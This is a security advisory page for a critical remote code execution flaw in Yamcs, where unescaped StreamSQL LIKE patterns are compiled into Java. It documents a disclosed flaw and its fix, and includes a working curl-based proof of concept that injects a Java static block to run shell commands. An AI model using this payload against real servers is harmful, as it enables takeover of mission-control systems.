GHSA-C64Q-HJ4J-375F

Vulnerability from github – Published: 2026-08-28 17:30 – Updated: 2026-08-28 17:30
VLAI
Summary
Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)
Details

Summary

Yamcs compiles StreamSQL query expressions to Java at runtime with Janino. The LIKE operator inserts the user-supplied pattern into the generated Java unescaped, inside a "..." literal, so a pattern containing " breaks out and injects arbitrary Java (e.g. a static{} block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.

The pattern is embedded raw whether it comes from a SQL string literal or a bound ? argument, so the sink is reachable from any endpoint that builds a LIKE from user input, at routine read-only privileges, not just executeSql: - POST /api/archive/{instance}:executeSql and :streamSql (privilege ControlArchiving) - POST /api/archive/{instance}/tables/{table}:readRows via the query field (privilege ReadTables) - GET /api/archive/{instance}/events?q= and the event export/stream variants (privilege ReadEvents) - listActivities q (privilege ReadActivities)

The Events page search box feeds q directly.

Independent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of ChangeMissionDatabase and is not affected by the overrideAlgorithmsEnabled gate.

Details

  • Sink: Expression#getCompiledExpression compiles generated source with SimpleCompiler.cook(...) (Expression.java:205) and instantiates it (Expression.java:213) at stream prep, before any tuple flows.
  • Injection: LikeExpression#fillCode_getValueReturn (LikeExpression.java:26) appends likeClause.pattern raw into Utils.like(<col>, "<pattern>"). The safe sibling ValueExpression escapes literals via escapeJavaString() (ValueExpression.java:82-85); a review of all 35 streamsql code-generators found LikeExpression to be the only unescaped one.
  • Grammar: S_STRING = "'" (~["'"])* "'" (StreamSql.jj:222) allows "; getNonEscapedString (StreamSql.jj:36) does not escape " or \.
  • Reachability: TableApi#executeSql (TableApi.java:399) checks only ControlArchiving, then passes the raw statement to ydb.createStatement(...). No SecurityManager or Janino sandbox is configured, so the compiled code can call Runtime/ProcessBuilder. :streamSql (TableApi.java:447) is equally affected.
  • The sink is reachable from several lower-privilege endpoints, not just executeSql. A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound ? argument (nextArgAsString -> likeClause.pattern), so any endpoint building ... LIKE ? with attacker input also reaches it:
  • POST .../tables/{table}:readRows (TableApi.java:276, privilege ReadTables): the query and cols request fields are concatenated raw into the executed StreamSQL (sqlb.where(request.getQuery())). Verified RCE.
  • GET .../events?q= (listEvents, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege ReadEvents: body.message like ? with "%"+q+"%". Verified RCE.
  • listActivities (ActivitiesApi.java:86/113), privilege ReadActivities: detail like ? with "%"+q+"%". ReadTables/ReadEvents/ReadActivities are routine read-only permissions. The single escapeJavaString fix below closes all of these (one sink). The raw readRows WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate cols, do not accept a free-form query at ReadTables).

Proof of Concept

Against a Yamcs server with security enabled (default HTTP port 8090), as a user holding only ControlArchiving.

BASE=http://<host>:8090
INSTANCE=<instance>

# 1. Get a token for a ControlArchiving user.
TOK=$(curl -s -X POST "$BASE/auth/token" \
  -d 'grant_type=password&username=USER&password=PASS' \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])')

# 2. Create a table with a string column.
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}'

# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a
#    static{} initializer that runs an OS command, then reopens a dummy method so the
#    generated class still compiles.
PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1'
SQL="create stream pwn as select * from demo where y like '$PATTERN'"
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")"

# 4. Proof: the command ran as the Yamcs OS user (on the server host).
cat /tmp/pwned        # -> uid=...(...)

A benign like 'abc%' does nothing; exploitation depends on the " break-out.

Impact

Arbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via executeSql (ControlArchiving), readRows (ReadTables), the events list/export/stream endpoints (ReadEvents), and the activities listing (ReadActivities).

Exploitation via executeSql generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).

Remediation

Escape the pattern like other literals, in LikeExpression.fillCode_getValueReturn:

code.append(", \"");
ValueExpression.escapeJavaString(likeClause.pattern, code);  // was: code.append(likeClause.pattern);
code.append("\")");

Defence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every cook() path; compile generated classes under a classloader that cannot reach Runtime/ProcessBuilder.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.13.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.13.0"
            },
            {
              "fixed": "5.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:30:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\nYamcs compiles StreamSQL query expressions to Java at runtime with Janino. The `LIKE` operator inserts the user-supplied pattern into the generated Java **unescaped**, inside a `\"...\"` literal, so a pattern containing `\"` breaks out and injects arbitrary Java (e.g. a `static{}` block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.\n\nThe pattern is embedded raw whether it comes from a SQL string literal or a bound `?` argument, so the sink is reachable from any endpoint that builds a `LIKE` from user input, at routine **read-only** privileges, not just `executeSql`:\n- `POST /api/archive/{instance}:executeSql` and `:streamSql` (privilege `ControlArchiving`)\n- `POST /api/archive/{instance}/tables/{table}:readRows` via the `query` field (privilege `ReadTables`)\n- `GET /api/archive/{instance}/events?q=` and the event export/stream variants (privilege `ReadEvents`)\n- `listActivities` `q` (privilege `ReadActivities`)\n\nThe Events page search box feeds `q` directly.\n\nIndependent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of `ChangeMissionDatabase` and is not affected by the `overrideAlgorithmsEnabled` gate.\n\n## Details\n- **Sink:** `Expression#getCompiledExpression` compiles generated source with `SimpleCompiler.cook(...)` (`Expression.java:205`) and instantiates it (`Expression.java:213`) at stream prep, before any tuple flows.\n- **Injection:** `LikeExpression#fillCode_getValueReturn` (`LikeExpression.java:26`) appends `likeClause.pattern` raw into `Utils.like(\u003ccol\u003e, \"\u003cpattern\u003e\")`. The safe sibling `ValueExpression` escapes literals via `escapeJavaString()` (`ValueExpression.java:82-85`); a review of all 35 streamsql code-generators found `LikeExpression` to be the only unescaped one.\n- **Grammar:** `S_STRING = \"\u0027\" (~[\"\u0027\"])* \"\u0027\"` (`StreamSql.jj:222`) allows `\"`; `getNonEscapedString` (`StreamSql.jj:36`) does not escape `\"` or `\\`.\n- **Reachability:** `TableApi#executeSql` (`TableApi.java:399`) checks only `ControlArchiving`, then passes the raw statement to `ydb.createStatement(...)`. No SecurityManager or Janino sandbox is configured, so the compiled code can call `Runtime`/`ProcessBuilder`. `:streamSql` (`TableApi.java:447`) is equally affected.\n- **The sink is reachable from several lower-privilege endpoints, not just `executeSql`.** A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound `?` argument (`nextArgAsString` -\u003e `likeClause.pattern`), so any endpoint building `... LIKE ?` with attacker input also reaches it:\n  - `POST .../tables/{table}:readRows` (`TableApi.java:276`, privilege **ReadTables**): the `query` and `cols` request fields are concatenated raw into the executed StreamSQL (`sqlb.where(request.getQuery())`). Verified RCE.\n  - `GET .../events?q=` (`listEvents`, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege **ReadEvents**: `body.message like ?` with `\"%\"+q+\"%\"`. Verified RCE.\n  - `listActivities` (ActivitiesApi.java:86/113), privilege **ReadActivities**: `detail like ?` with `\"%\"+q+\"%\"`.\n  `ReadTables`/`ReadEvents`/`ReadActivities` are routine read-only permissions. The single `escapeJavaString` fix below closes all of these (one sink). The raw `readRows` WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate `cols`, do not accept a free-form `query` at `ReadTables`).\n\n## Proof of Concept\nAgainst a Yamcs server with security enabled (default HTTP port `8090`), as a user holding only `ControlArchiving`.\n\n```bash\nBASE=http://\u003chost\u003e:8090\nINSTANCE=\u003cinstance\u003e\n\n# 1. Get a token for a ControlArchiving user.\nTOK=$(curl -s -X POST \"$BASE/auth/token\" \\\n  -d \u0027grant_type=password\u0026username=USER\u0026password=PASS\u0027 \\\n  | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[\"access_token\"])\u0027)\n\n# 2. Create a table with a string column.\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"statement\":\"create table demo(gentime timestamp, y string, primary key(gentime))\"}\u0027\n\n# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a\n#    static{} initializer that runs an OS command, then reopens a dummy method so the\n#    generated class still compiles.\nPATTERN=\u0027a\"); } static { try { new ProcessBuilder(new String[]{\"/bin/sh\",\"-c\",\"id \u003e /tmp/pwned\"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf(\"1\u0027\nSQL=\"create stream pwn as select * from demo where y like \u0027$PATTERN\u0027\"\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"$(python3 -c \u0027import sys,json;print(json.dumps({\"statement\":sys.argv[1]}))\u0027 \"$SQL\")\"\n\n# 4. Proof: the command ran as the Yamcs OS user (on the server host).\ncat /tmp/pwned        # -\u003e uid=...(...)\n```\nA benign `like \u0027abc%\u0027` does nothing; exploitation depends on the `\"` break-out.\n\n## Impact\nArbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via `executeSql` (`ControlArchiving`), `readRows` (`ReadTables`), the events list/export/stream endpoints (`ReadEvents`), and the activities listing (`ReadActivities`).\n\nExploitation via `executeSql` generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).\n\n## Remediation\nEscape the pattern like other literals, in `LikeExpression.fillCode_getValueReturn`:\n```java\ncode.append(\", \\\"\");\nValueExpression.escapeJavaString(likeClause.pattern, code);  // was: code.append(likeClause.pattern);\ncode.append(\"\\\")\");\n```\nDefence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every `cook()` path; compile generated classes under a classloader that cannot reach `Runtime`/`ProcessBuilder`.",
  "id": "GHSA-c64q-hj4j-375f",
  "modified": "2026-08-28T17:30:32Z",
  "published": "2026-08-28T17:30:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…